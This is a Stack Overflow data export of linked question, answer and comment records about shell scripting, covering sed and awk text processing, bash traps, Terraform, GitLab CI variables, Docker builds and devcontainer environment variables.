http://stackoverflow.com/comment/135593436
type: QuestionComment
type: Comment
has text: @KamilCuk The script is simplified for brevity, the actual use-case includes running the $@ in a loop, unless it exits with a non-status code, and a bunch of other cases.
score: 0
comment on: http://stackoverflow.com/q/76915647

http://stackoverflow.com/comment/135717620
comment on: http://stackoverflow.com/q/76986722
score: 2
type: QuestionComment
type: Comment
has text: Please read [ask] as well as how to create a [mcve]. You’ve shown none of your work and there is no specific question here.

http://stackoverflow.com/comment/135720717
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76987964
has text: @PetarTahchiev btw, the `saltfile` name in my first code is a placeholder. you can easily replace it, eg. linux has `mktemp` to generate unique names, or you might assume that overwriting `"$WProot"/wp-config.php.salt` is safe
type: Comment

http://stackoverflow.com/comment/135811064
score: 1
type: Comment
has text: the issue seems to be with the space between = and output and $ try the following: `output=$(docker compose --env-file .env --env-file "${1}" build)`
type: AnswerComment
comment on: http://stackoverflow.com/a/77039474

http://stackoverflow.com/q/76944879
has comment: http://stackoverflow.com/comment/135643376
has comment: http://stackoverflow.com/comment/135643732
has comment: http://stackoverflow.com/comment/135644261
has comment: http://stackoverflow.com/comment/135643624
has body: Input File : input.txt <UndefineProperty name="admin.admin.adapters"/>--><!--<AddToProperty name="admin.admin.adapters" value="abc^abc.xz=abc"/>--><Property name="admin.admin.adapters" ride="true" targetFile="file/path/file.txt" value="abc,xz=abc,xz=com^abc.com.xz=abc,ac=com"/> <ConfigurationRef xlink:href="file/path/file.xconf"/> <ConfigurationRef xlink:href="file1.xconf"/> <ConfigurationRef xlink:href="file2.xconf"/> <Property name="ac.abc.Password" ride="true" targetFile="file/path/abc.properties" value="ac.abc.encryptedPassword"/> <Property name="ac.pqr.Protocol" ride="true" targetFile="file/pqr.properties" value="https"/> Output : <UndefineProperty name="admin.admin.adapters"/>--> <!--<AddToProperty name="admin.admin.adapters" value="abc^abc.xz=abc"/>--> <Property name="admin.admin.adapters" ride="true" targetFile="file/path/file.txt" value="abc,xz=abc,xz=com^abc.com.xz=abc,ac=com"/> <ConfigurationRef xlink:href="file/path/file.xconf"/> <ConfigurationRef xlink:href="file1.xconf"/> <ConfigurationRef xlink:href="file2.xconf"/> <Property name="ac.abc.Password" ride="true" targetFile="file/path/abc.properties" value="ac.abc.encryptedPassword"/> <Property name="ac.pqr.Protocol" ride="true" targetFile="file/pqr.properties" value="https"/> Tried : delimiter="<" newarray=() while read -r line ; do newarray+=( "${line%%"$delimiter"*}" ) line=${delimiter}${line#*"$delimiter"} echo ${line} >> input.txt1 done < input.txt Note : Above code isn't working as expected. It shows just output which contain this (<) delimiter and orientation also not done in above code.
has comment: http://stackoverflow.com/comment/135643490
has comment: http://stackoverflow.com/comment/135643428
score: 0
has comment: http://stackoverflow.com/comment/135644376
tagged with: arrays
type: Question
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135643633
has comment: http://stackoverflow.com/comment/135644025
has comment: http://stackoverflow.com/comment/135649159
has comment: http://stackoverflow.com/comment/135643748
has comment: http://stackoverflow.com/comment/135643897
has title: How to split the file lines using particular delimiter and show in particular orientation format in shell script not using awk
has comment: http://stackoverflow.com/comment/135644054
has comment: http://stackoverflow.com/comment/135644093
tagged with: sed
answer count: 2
tagged with: grep
has comment: http://stackoverflow.com/comment/135643907
has answer: http://stackoverflow.com/a/76948168
has comment: http://stackoverflow.com/comment/135643785
tagged with: orientation
has comment: http://stackoverflow.com/comment/135643718
has comment: http://stackoverflow.com/comment/135643383
has comment: http://stackoverflow.com/comment/135643803
has answer: http://stackoverflow.com/a/76945357

http://stackoverflow.com/comment/135593263
has text: Note: You should use `bash` instead of `sh` for this.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76915647
score: 0

android-studio
tags question: http://stackoverflow.com/q/77014844
type: Tag
tag name: android-studio
tags question: http://stackoverflow.com/q/78255373

http://stackoverflow.com/comment/135642179
score: 0
comment on: http://stackoverflow.com/q/76943562
type: Comment
type: QuestionComment
has text: @Uberhumus using cat and pipping won't work. First, `awk` will consider the input as one file (try `{print NR, FNR}`), this will make it really hard to summarize the output. Second, as `awk` consider the input as one file `NR>1` will only work on the first line, that will make the counter increment for each header other than the first one (at least for gawk 5.1.1).

http://stackoverflow.com/comment/135735456
has text: @TimRoberts Right, I forgot about a hardlinks. They let me create a reference to file which does not break with file move or rename. I can reference the hardlink from the other programs then but what if I wanted to move a hardlink. Is there no other way to create reference that works independently from file name or location?
score: 0
comment on: http://stackoverflow.com/q/76996572
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135791272
score: 0
has text: dont' do this with sed. It's fairly trivial in awk, in perl it is`perl -pe 's/\${(\w+)}/$ENV{$1}/g;' input` and I'm pretty sure there is a simple bash or printf hack to do this easily and robustly.
type: Comment
comment on: http://stackoverflow.com/q/77027254
type: QuestionComment

http://stackoverflow.com/q/77045684
linked to: http://stackoverflow.com/q/8009664
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/77049312
type: UnansweredQuestion
has title: cut output is incorrect if delimiter character is within double quotes
tagged with: cut
has comment: http://stackoverflow.com/comment/135822394
has answer: http://stackoverflow.com/a/77045863
score: 0
has answer: http://stackoverflow.com/a/77058153
has body: cut -f2 -d"," - doesn't get the second column properly since first column is encapsulated within double quotes. "Foo News, Videos (Android)","Foo News, Videos - Android","Foo News, Videos (Android)" Bar News (iOS),"Bar News, Movie - iOS",Bar News & Movie (iOS)
tagged with: unix
answer count: 3

http://stackoverflow.com/q/76978564
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/76978611
tagged with: command-line
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135706570
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/135713221
tagged with: terminal
score: -2
has title: in mac I keep getting -bash: ls-a: command not found ? How to fix this?
downvote count: 3
has body: I am taking a class and I need to use the commands such as ls-a in teriminal on mac and everytime I type a command it says -bash: ls-a: command not found. How do I fix this I am lost and a beginner? I honestly don't know how to fix this.

http://stackoverflow.com/q/76901769
downvote count: 0
score: 1
tagged with: curl
type: Question
has title: Update a defined CI/CD variable in gitlab
tagged with: shell
type: UnansweredQuestion
upvote count: 1
answer count: 1
favorite count: 0
has body: I want to update my variable by using gitlab APIs(using curl). But I am getting below error {"message":"401 Unauthorized"} I have maintainer role. I have also created multiple times access token but nothing is working. Here below is scripts NEW_VERSION="1234" curl --request PUT --header "JOB-TOKEN: $CI_JOB_TOKEN" "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/variables/TEST" --form "value=$NEW_VERSION" curl --request PUT --header "PRIVATE-TOKEN:\ $token" "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/variables/TEST --form "value=$NEW_VERSION" curl --request PUT --header "PRIVATE-TOKEN: $token" "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/variables/TEST" --form "value=$NEW_VERSION"
tagged with: gitlab
has answer: http://stackoverflow.com/a/76903733
tagged with: cicd

http://stackoverflow.com/q/76886145
type: UnansweredQuestion
tagged with: terraform
has comment: http://stackoverflow.com/comment/135548449
has comment: http://stackoverflow.com/comment/135547846
answer count: 0
has body: So im not sure quite what part of this is going wrong. What am I trying to do using terraform and running an ECS task during apply using terraform_data (previously null_resource) the script start running the task use aws logs tail ... --follow & to show the logs whilst the task runs - running in the background so that I can run use aws ecs wait tasks-stopped to wait until the task finishes kill the tail command what's wrong the output of aws logs tail ... --follow & isn't seen. all the other output of the script is shown during terraform apply if I run aws logs tail without --follow at the end, I see all the logs weirdly, I ran aws logs tail ... --follow --debug & and I see the debug output of the command (which is on stderr) but still not the main output I can run the same script just in a shell, and it works, I see all the output, but in terraform disappears Where are the logs going?! is local-exec doing something weird? is aws cli doing something weird resource "terraform_data" "run_task" { triggers_replace = { task_definition = aws_ecs_task_definition.app.arn } provisioner "local-exec" { command = <<-EOT START="$(date -u +"%Y-%m-%dT%H:%M:%SZ")" TASK_ARN="$(aws ecs run-task --cluster "$CLUSTER_ID" --task-definition "$TASK_DEFINITION_ARN" --network-configuration "$TASK_NETWORK_CONFIGURATION" --launch-type FARGATE --enable-execute-command --region "$AWS_REGION" | jq -r '.tasks[].taskArn')" echo "Watching task: $TASK_ARN" LOG_STREAM_NAME="$NAME/$CONTAINER_NAME/$(echo "$TASK_ARN" | sed "s/^arn:aws:ecs:$AWS_REGION:$AWS_ACCOUNT_ID:task\/$CLUSTER_NAME\///")" echo "Tailing logs: $LOG_STREAM_NAME" aws logs tail "$LOG_GROUP_NAME" --log-stream-name-prefix "$LOG_STREAM_NAME" --follow --format short & LOGS_PID="$!" until aws ecs wait tasks-stopped --cluster "$CLUSTER_ID" --tasks "$TASK_ARN" --region "$AWS_REGION"; do echo "Watching task: $TASK_ARN" done echo "Task has stopped: $TASK_ARN" kill "$LOGS_PID" || true EOT interpreter = ["/bin/sh", "-c"] environment = {...} } }
has comment: http://stackoverflow.com/comment/135588631
has title: Output of aws log tail disappearing inside terraform local-exec
score: 0
type: Question
tagged with: amazon-web-services
tagged with: shell

http://stackoverflow.com/q/77028902
tagged with: google-chrome-devtools
type: Question
tagged with: shell
score: 3
has answer: http://stackoverflow.com/a/77029021
answer count: 1
upvote count: 3
has body: How do I launch a child process (via shell) and read its output without (before) the child process returns? I"m launching Google Chrome via the Mac Terminal with the following command: /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --no-first-run --no-default-browser-check --user-data-dir=$(mktemp -d -t 'chrome-remote_data_dir') This works well but the process does not end/return until I'me done with the browser. As soon as its launched, however, it prints the following to the console: "DevTools listening on ws://127.0.0.1:9222/devtools/browser/d43342be-66bc-41d4-b591-a7ee22d1c528" I need to scrape that. I can successfully launch this in Deno (v. 1.36.3) using: const myCMD = `/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome`; const p = Deno.run({ cmd: [ myCMD, "--remote-debugging-port=9222", "--no-first-run", "--no-default-browser-check", "--user-data-dir=$(mktemp -d -t 'chrome-remote_data_dir')", ], stdout: "piped", stderr: "piped", stdin: "piped", }); await p.stdin.write(new TextEncoder().encode("Coming from stdin\n")); await p.status(); But I can't read the value I need because the process does not complete and therefore the output never returns. Is there a way to read what a child process writes to the console before it returns? FYI... I used the following article for reference: https://medium.com/deno-the-complete-reference/run-shell-commands-in-deno-26c3e9b72e03
accepted answer: http://stackoverflow.com/a/77029021
has comment: http://stackoverflow.com/comment/135792625
downvote count: 0
tagged with: deno
has comment: http://stackoverflow.com/comment/135792872
favorite count: 0
type: AnsweredQuestion
has title: Deno: How to run shell command and read output before child process completes?

http://stackoverflow.com/comment/135595769
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76916640
has text: Sorry I didn't notice `zsh`

http://stackoverflow.com/a/76992602
upvote count: 3
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/135728255
answers question: http://stackoverflow.com/q/76992379
has body: I guess that the problem at hand can be explained with this example: read < <(printf %s foo) && echo "$REPLY" read < <(printf '%s\n' bar) && echo "$REPLY" which outputs: bar That is to say: if the input doesn't end with the expected delimiter (\n your case) then the read command evaluates to false and the while read loop ends prematurely. A common workaround is to also check the size of the variable in the while condition: ... | while read line || (( ${#line} )); do ...
score: 3

http://stackoverflow.com/comment/135606205
has text: From [The Open Group Base Specifications Issue 7, 2018 edition, section 2.11](https://pubs.opengroup.org/onlinepubs/9699919799.2018edition/utilities/V3_chap02.html#tag_18_11): "When the shell is waiting, by means of the *[wait](https://pubs.opengroup.org/onlinepubs/9699919799.2018edition/utilities/wait.html)* utility, for asynchronous commands to complete, the reception of a signal for which a trap has been set shall cause the *wait* utility to return immediately with an exit status >128, immediately after which the trap associated with that signal shall be taken."
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/76915647

http://stackoverflow.com/a/76961205
has comment: http://stackoverflow.com/comment/135673065
accepted answer of: http://stackoverflow.com/q/76959096
has comment: http://stackoverflow.com/comment/135672847
score: 1
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/76959096
upvote count: 1
type: Answer
has body: To debug this kind of problems, run the base image and execute the commands of the Dockerfile by hand on the prompt: docker run -it --rm bash:latest wget https://github.com/RahmanTeam/DECoN/archive/refs/tags/v2.0.0.tar.gz tar -xf v2.0.0.tar.gz cd DECoN-2.0.0/Linux ./setup.sh The last line fails because, as you have noted, it runs Rscript which is not present in your (very minimal) base image. Rscript belongs to the R language so I have tried again with the official R base image: docker run -it --rm r-base:latest bash wget https://github.com/RahmanTeam/DECoN/archive/refs/tags/v2.0.0.tar.gz tar -xf v2.0.0.tar.gz cd DECoN-2.0.0/Linux ./setup.sh This time the script runs and creates the following setup.log: # Bootstrapping renv 0.15.4 -------------------------------------------------- * Downloading renv 0.15.4 ... OK * Installing renv 0.15.4 ... Done! * Successfully installed and loaded renv 0.15.4. Error: package 'BiocManager' is not available In addition: Warning messages: 1: This project is configured to use R version '4.2.0', but '4.3.1' is currently being used. 2: could not retrieve available packages for url 'https://cran.ma.imperial.ac.uk/src/contrib' Traceback (most recent calls last): 20: source("renv/activate.R") 19: withVisible(eval(ei, envir)) 18: eval(ei, envir) 17: eval(ei, envir) 16: local(...) 15: eval.parent(substitute(eval(quote(expr), envir))) 14: eval(expr, p) 13: eval(expr, p) 12: eval(quote(...), new.env()) 11: eval(quote(...), new.env()) 10: renv::load() 9: renv_load_bioconductor(project, lockfile$Bioconductor) 8: renv_bioconductor_init() 7: renv_bioconductor_init_biocmanager() 6: install("BiocManager") 5: retrieve(names(remotes)) 4: handler(package, renv_retrieve_impl(package)) 3: renv_retrieve_impl(package) 2: stopf("package '%s' is not available", package) 1: stop(sprintf(fmt, ...), call. = call.) Execution halted The warning about the wrong version of R can be avoided by using r-base:4.2.0 instead of r-base:latest (recommended to be safe) but …

http://stackoverflow.com/comment/135759655
score: 0
has text: Gnu does - `-z` :-). grep doesn't need that because we have awk.
comment on: http://stackoverflow.com/a/76969187
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135643624
type: QuestionComment
type: Comment
has text: `sed -e ':loop; /[^>]$/{N; b loop}; s/\n */ /g; s/></>\n</g' INPUTFILE` (not using `AWK` :-3 )
comment on: http://stackoverflow.com/q/76944879
score: 1

http://stackoverflow.com/a/77006550
downvote count: 0
type: Answer
has body: The file separator FS is set to = and testfile2.txt has 2 times an equals sign, that is why you are missing the third part in your output as you are only using $2 What you might do is remove the FS== as you don't need that for testfile1.txt and split on a more specific string _path= for testfile2.txt awk 'FNR==NR{ split($0, p, "_path=") a[p[1] "_path"] = p[2] next } match($0, "@[^@]*@"){ i = substr($0, RSTART+1, RLENGTH-2 "@"); gsub("@"i"@", a[i]); }1 ' testfile2.txt testfile1.txt Output # START :: start of file ## path.mw.site.profiles=/mw/mysite/cfg/DATA1/ # path.mw.site.broker.profiles=/usr/local/mw/mysite/cfg/DATA2/=/mydirectory/ # path.mw.site.profiles=/mw/mysite/cfg/DATA1/ # path.mw.site.broker.profiles=/usr/local/mw/mysite/cfg/DATA2/=/mydirectory/ ## END :: end of file ##
answers question: http://stackoverflow.com/q/77006285
score: 2
upvote count: 2

http://stackoverflow.com/q/76986443
tagged with: regex
linked to: http://stackoverflow.com/q/22937618
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135717245
has comment: http://stackoverflow.com/comment/135717738
has title: Finding lines where the occurrence of word happens only after a specific searched word
has answer: http://stackoverflow.com/a/76986512
tagged with: grep
upvote count: 2
has answer: http://stackoverflow.com/a/77023396
downvote count: 2
tagged with: bash
has answer: http://stackoverflow.com/a/76990444
favorite count: 0
has body: Consider the below set of lines in a file: File1.csv Apple is red WHERE the column ALP_ACCT_PROD_ID, it can be plucked Apple is red ON ALP_ACCT_PROD_ID , WHERE it can be plucked I want to look after if ALP_ACCT_PROD_ID occurs only after the word WHERE then only it should print it. So for the above File it should print only the Line - Apple is red where the column ALP_ACCT_PROD_ID, it can be plucked and ignore the second as ALP_ACCT_PROD_ID is not after WHERE. Please help with the solution I am trying to do a normal grep and with that I am getting both the lines grep ALP_ACCT_PROD_ID
answer count: 3

http://stackoverflow.com/comment/135674797
type: Comment
comment on: http://stackoverflow.com/q/76962672
has text: Can you clarify "it ends abruptly" ... is there any error message (and number) or does it just do nothing (eg VBA code execution ceases?) ... or do you mean Excel itself ceases (ie force closes)?
score: 0
type: QuestionComment

http://stackoverflow.com/a/76990052
type: Answer
score: 2
upvote count: 2
has body: This might work for you (GNU sed): sed -E '/ /{:a;N;/<\/Info>$/!ba s/(<IpAdd>).*(<\/IpAdd>\n 1123<\/port>)/\1111.111.111.111\2/}' file Gather up the lines between and and then match the two lines within the collection that start with <IpAddr> and end with 1123 and replace the old address with the new address.
has comment: http://stackoverflow.com/comment/135724375
accepted answer of: http://stackoverflow.com/q/76978039
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135724816
answers question: http://stackoverflow.com/q/76978039
has comment: http://stackoverflow.com/comment/135726153
has comment: http://stackoverflow.com/comment/135726386
downvote count: 0
has comment: http://stackoverflow.com/comment/135726011

http://stackoverflow.com/comment/135670269
type: Comment
has text: That error message suggests the version of `sed` on your Solaris system doesn't support the `-i` option. Check the man page. If it doesn't, you'll have to do the equivalent manually (send output to a temp file, then if the `sed` command didn't error, replace the original file with the temp). Or maybe use `perl` or some other tool instead of `sed`.
score: 1
comment on: http://stackoverflow.com/q/76960050
type: QuestionComment

http://stackoverflow.com/comment/135597630
has text: This is a Good one, cheers sir.
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76913484

http://stackoverflow.com/comment/135589232
type: Comment
has text: Not with jq (if you don't want to do it manually), but there are plenty of other cli tools like [hjson](https://github.com/hjson/hjson-py) for example, perfectly suited for this task.
comment on: http://stackoverflow.com/q/76913125
score: 0
type: QuestionComment

navigation
tag name: navigation
type: Tag
tags question: http://stackoverflow.com/q/76917412
tags question: http://stackoverflow.com/q/77529305
tags question: http://stackoverflow.com/q/78385271

http://stackoverflow.com/comment/135762125
comment on: http://stackoverflow.com/q/77010630
type: Comment
score: 0
has text: See [Why use $HOME over ~ (tilde) in a shell script?](https://stackoverflow.com/q/5930671/4154375).
type: QuestionComment

http://stackoverflow.com/a/77032245
type: Answer
score: 2
upvote count: 2
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/77031226
has body: Just place trap directive line before running your put_archive function!! Otherwise, if your function fail, your fail function will exit your script before executing trap directive. fail() { log "$1" exit 1 } put_archive() { something || || fail "some message" } trap cleanup EXIT put_archive But you could build another exit way: fail() { log "$1" cleanup 1 } log() { echo "$(date) - $1" echo "$1" | systemd-cat -p notice -t cloud_archive } cleanup() { log "Deleting temp dir ${temp_dir}." rm -r "${temp_dir}" exit ${1:-0} } put_archive() { cp "${file}" "${dest}" || fail "Uploading failed" } put_archive cleanup Doing so, you don't need to use trap directive.
answers question: http://stackoverflow.com/q/77031226

http://stackoverflow.com/comment/135682744
type: QuestionComment
comment on: http://stackoverflow.com/q/76967366
has text: Are you sure you have a package.json in that folder, and is actually in that folder when you do your npm install?
type: Comment
score: 0

http://stackoverflow.com/comment/135729760
comment on: http://stackoverflow.com/q/76993753
type: QuestionComment
type: Comment
has text: [Be careful when parsing the output of `ls`](https://unix.stackexchange.com/questions/128985/why-not-parse-ls-and-what-to-do-instead). Please add a [mre]. Sounds like a [x/y problem](https://meta.stackexchange.com/questions/66377/what-is-the-xy-problem).
score: 0

http://stackoverflow.com/q/76994952
has comment: http://stackoverflow.com/comment/135741344
has comment: http://stackoverflow.com/comment/135733503
has title: Not able to update the contents of a Tcl file created from a Makefile
has comment: http://stackoverflow.com/comment/135736101
has comment: http://stackoverflow.com/comment/135733025
tagged with: tcl
has comment: http://stackoverflow.com/comment/135733015
type: Question
answer count: 0
tagged with: shell
tagged with: makefile
has comment: http://stackoverflow.com/comment/135732995
downvote count: 0
type: UnansweredQuestion
score: 1
favorite count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/135734889
has comment: http://stackoverflow.com/comment/135734906
has body: I have coded a Makefile which has a target to create a tcl file and I want to update the contents of the contents of the tcl file from the Makefile but the contents of the tcl file is not updated as expected. The code written is as below: The abc.mk file has FILE_ARGS which has the string select[file_tpye=txt] Inside Makefile .SILENT: include ./abc.mk FILE_ARGS_NEW = $(shell echo $(FILE_ARGS) | sed 's/\[/\\[;s/\]/\\]/') FILE_TCL="\ set FILE_ARGS_NEW \"$(FILE_ARGS_NEW)\" \n \ ... all: def.tcl def.tcl : echo -e $(FILE_TCL) > def.tcl When I run make all expectation is that it should create a def.tcl and inside this file the contents should be set FILE_ARGS_NEW "select\\[file_tpye=txt\\]" but now def.tcl has the contents as below: set FILE_ARGS_NEW ""

http://stackoverflow.com/comment/135781603
comment on: http://stackoverflow.com/a/77022553
has text: Tried in with `exec` and it worked the same way. I used these steps: https://gist.github.com/PurpleMagick/43a9608062450ba427d1254a3fcadb1f
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/77022904
tagged with: devcontainer
type: Question
has answer: http://stackoverflow.com/a/78077102
tagged with: shell
tagged with: linux
tagged with: vscode-devcontainer
type: UnansweredQuestion
answer count: 1
upvote count: 3
favorite count: 0
score: 2
has title: Update Environment Variables in Devcontainers after Creation
has body: I'm having problems with my company proxy in DevContainers. I'm creating some internal documentation on best practices, mask credentials, etc. We currently use a Username:Password environment variable in base64 to set the things, but the proxy needs the decoded one to work properly. Doing like this the the variables are set, but with the base64 encode. I couldn't figure out a way to convert it on the fly. "remoteEnv": { "MY_USER_HASH": "${localEnv:MY_USER_HASH}", "http_proxy": "http://${localEnv:MY_USER_HASH}@companyproxy:3128", "https_proxy": "http://${localEnv:MY_USER_HASH}@companyproxy:3128" }, I tried with a .sh script called on the postCreateCommand. The variables are created correctly, but they don't persist. I tried save them in the /etc/environment file, but without success either. "postCreateCommand": "./.devcontainer/postCreateCommand.sh" #/bin/sh export NEXUS_CREDENTIALS=$(echo $MY_USER_HASH | openssl enc -d -base64) export http_proxy=http://$NEXUS_CREDENTIALS@companyproxy:3128 Anyone has some tip on how I can do this?
tagged with: visual-studio-code
downvote count: 1

http://stackoverflow.com/comment/135649669
type: Comment
has text: Remove spaces around `=` sign. Replace old syntax `\`date +"%Y"\`` by `$(date +"%Y")`
comment on: http://stackoverflow.com/q/76947111
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135735514
comment on: http://stackoverflow.com/q/76996572
type: QuestionComment
has text: Note that this actually depends on how users update the file you're linking to. If they create a new file and then do `mv newfile yourfile`, the hard link will continue to refer to the original file, not the replacement.
type: Comment
score: 0

http://stackoverflow.com/comment/135647394
has text: I wnt execute ```kubeadm init --control-plane-endpoint "hostname:port"```. As you said "double quotes will be interpreted by the shell", that means ```- shell: kubeadm init --control-plane-endpoint "hostname:port"``` will do the same, right?
score: 0
comment on: http://stackoverflow.com/a/76947075
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135643803
score: 0
type: QuestionComment
has text: Hope do you got the pattern?
type: Comment
comment on: http://stackoverflow.com/q/76944879

http://stackoverflow.com/comment/135574503
type: AnswerComment
has text: Now I get the error messages of the form `stat: cannot stat 'path/to/directory/longname000...012': No such file or directory` (here `longname000...01` is the long name of a file, cut to the initial 160–190 chars, i.e. the original name is `longname000...01234abcd.txt`). I do not know what causes the problem. Maybe I should ask another question because the problem is not in the `find` command. Aside from this issue, the command produces the correct output.
score: 0
comment on: http://stackoverflow.com/a/76904366
type: Comment

http://stackoverflow.com/comment/135611612
score: 0
has text: Tried both your answers, they are working, Thank you. I am beginner to shell scripting. If you don't mind, can you tell me why this works and not what I was trying
comment on: http://stackoverflow.com/a/76924108
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135756770
type: QuestionComment
has text: you've stated the files contains numbers between `1` and `162`; are there any gaps in this sequence? if there are gaps ... are you looking to reuse the same set of numbers or are you looking to generate a new set of gap-less numbers; for example, assume you have 2 files with the numbers `1` and `4` (ie, `2` and `3` are missing => a gap), should the new files also be numbered with `1` and `4` or should they be numbred with `1` and `2`?
comment on: http://stackoverflow.com/q/77006747
type: Comment
score: 1

http://stackoverflow.com/comment/135634837
comment on: http://stackoverflow.com/a/76939942
score: 0
type: Comment
has text: @puravidaso to be honest I'm not sure what OP's asking for
type: AnswerComment

http://stackoverflow.com/comment/135670298
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76952209
has text: I was wondering if maybe you also knew how to change the color of the text within a table cell when the table is created through tabulate(table_data, tablefmt(grid))? Can ANSI codes be used for this?

http://stackoverflow.com/q/76930863
score: 0
tagged with: key
has comment: http://stackoverflow.com/comment/135669123
answer count: 0
has comment: http://stackoverflow.com/comment/135641770
has comment: http://stackoverflow.com/comment/135647802
has body: I try do long click in my app. And i use command adb shell input keyevent --longpress 23 but this command just click on my view I think i need more time duration How i can set time duration for this command adb shell input keyevent --longpress 23
tagged with: adb
has comment: http://stackoverflow.com/comment/135677797
has comment: http://stackoverflow.com/comment/135623227
has title: Android. How i can set time with command adb shell input keyevent --longpress 23
tagged with: android
type: Question
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135684447
has comment: http://stackoverflow.com/comment/135690725

http://stackoverflow.com/q/76963662
duplicate of: http://stackoverflow.com/q/11027679
has body: I'm trying to capture the stderr of a subcommand, my idea is something like this: subErr(){ echo &quot;${1}&quot; exit 1 } BLOB=$(some long command || subErr $2) aws configure set x_security_token_expires $(echo $BLOB|jq -r '.Credentials.Expiration') --profile DEFAULT So basically if the command fails, feed the stderr to a function which prints the error and exits. If the command succeeds assign stdout to BLOB and continue processing How can I achieve this?
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/11027679
accepted answer: http://stackoverflow.com/a/76963855
score: 0
type: Question
tagged with: shell
answer count: 1
has answer: http://stackoverflow.com/a/76963855
has title: BASH 4 - capture error messsage from subcommand
tagged with: bash

http://stackoverflow.com/comment/135732382
comment on: http://stackoverflow.com/q/76993557
has text: what's wrong with `tr '\n' ' '` or `tr -d '\n'` ?
type: Comment
score: 0
type: QuestionComment

solaris
tag name: solaris
tags question: http://stackoverflow.com/q/76960050
type: Tag
tags question: http://stackoverflow.com/q/79137033

multiple-instances
tag name: multiple-instances
tags question: http://stackoverflow.com/q/76996212
type: Tag

http://stackoverflow.com/comment/135595679
score: 0
has text: I presume you are using `bash 3.2` of MacOS. You can install newer bash version with `brew install bash` which should install bash in `/usr/local/bin/bash`
comment on: http://stackoverflow.com/a/76916586
type: Comment
type: AnswerComment

http://stackoverflow.com/q/76901704
possible better answer: http://stackoverflow.com/a/76902755
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135569525
linked to: http://stackoverflow.com/q/76900817
has comment: http://stackoverflow.com/comment/135577019
has comment: http://stackoverflow.com/comment/135569747
upvote count: 1
tagged with: posix
has body: Following from my previous question here, please see below a fuller form of my question. Code use case The current code is a module for use in polybar, a customisable status bar. As per the first link, polybar is drawn using a configuration file and each bar that is called (by, for instance, running the polybar mybar) reads the configuration file for any given modules. A full example can be seen here. Custom or user defined modules are loaded by calling the relevant script file. For instance: [module/test] type = custom/script exec = some/script/file tail = true Polybar accepts, at the very least, shell scripts and python scripts (and perhaps others, though I have not tested this). For the purposes of this question, I am concerned with the appropriateness of my shell script and not its interface with polybar (which currently works as expected; though as @EdMorton explains, this may not be intended functionality, hence this question). Current code The following is a minimal working example of my code. #!/bin/bash smile=#d1dadf; sad=#ff5833; angry=#1a88a4; laugh=#daf7a6; while true; do # get hour time=$(date +%_H -u); # set empty hour timeShow=TEST; # set empty emoji emoji=; if [ $time -ge 0 ] && [ $time -lt 6 ]; then emoji=%{F$smile}%{F-} elif [ $time -ge 6 ] && [ $time -lt 12 ]; then emoji=%{F$sad}%{F-} elif [ $time -ge 12 ] && [ $time -lt 18 ]; then emoji=%{F$angry}%{F-} elif [ $time -ge 18 ] && [ $time -ne 0 ]; then emoji=%{F$laugh}%{F-} fi if [[ "$emoji" =~ [] ]]; then ((timeShow = time - 1)) elif [[ "$emoji" =~ [] ]]; then ((timeShow = time - 2)) elif [[ "$emoji" =~ [] ]]; then ((timeShow = time - 3)) fi echo "$timeShow:$(date '+%M' -u) $emoji" sleep 1 done Explanation of inputs (and outputs) Running the script as is requires no input (the output is calculated from within the script itself). Hence running the script is simply done via: ./script.sh The output should (and does) return the formatted time, along with the emoji wrapped in colour format tags, as descr…
answer count: 2
tagged with: regex
has comment: http://stackoverflow.com/comment/135576988
downvote count: 0
tagged with: bash
score: 1
has title: Is the use of regex here POSIX compliant and is the code used appropriate for the problem described?
accepted answer: http://stackoverflow.com/a/76901883
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135569512
has answer: http://stackoverflow.com/a/76902755
has answer: http://stackoverflow.com/a/76901883
tagged with: emoji

http://stackoverflow.com/comment/135670449
type: Comment
score: 0
type: AnswerComment
has text: You would indeed need to use ANSI codes to change the color of the text for each of your values, and don't forget to reset it every time too
comment on: http://stackoverflow.com/a/76952209

http://stackoverflow.com/comment/135585090
has text: You can not write `for i in {1..99} do if [ i%2 != 0 ]; then echo $i fi` into a single line. You need either a line break or a semicolon for instance after `do` and before the `fi`.
comment on: http://stackoverflow.com/q/76910801
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135684395
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76968047
has text: Your `grep` pattern does not use any specific regex characters. For the safe side, you could also use the grep option `-F`, to disable all regex matching, or do a `grep -o ...|less` and check for empty lines or other anomalities. Perhaps the string you are looking for, also occurs in some XML comments, which are ignored with the other methods you tried?
type: QuestionComment

logcat
tag name: logcat
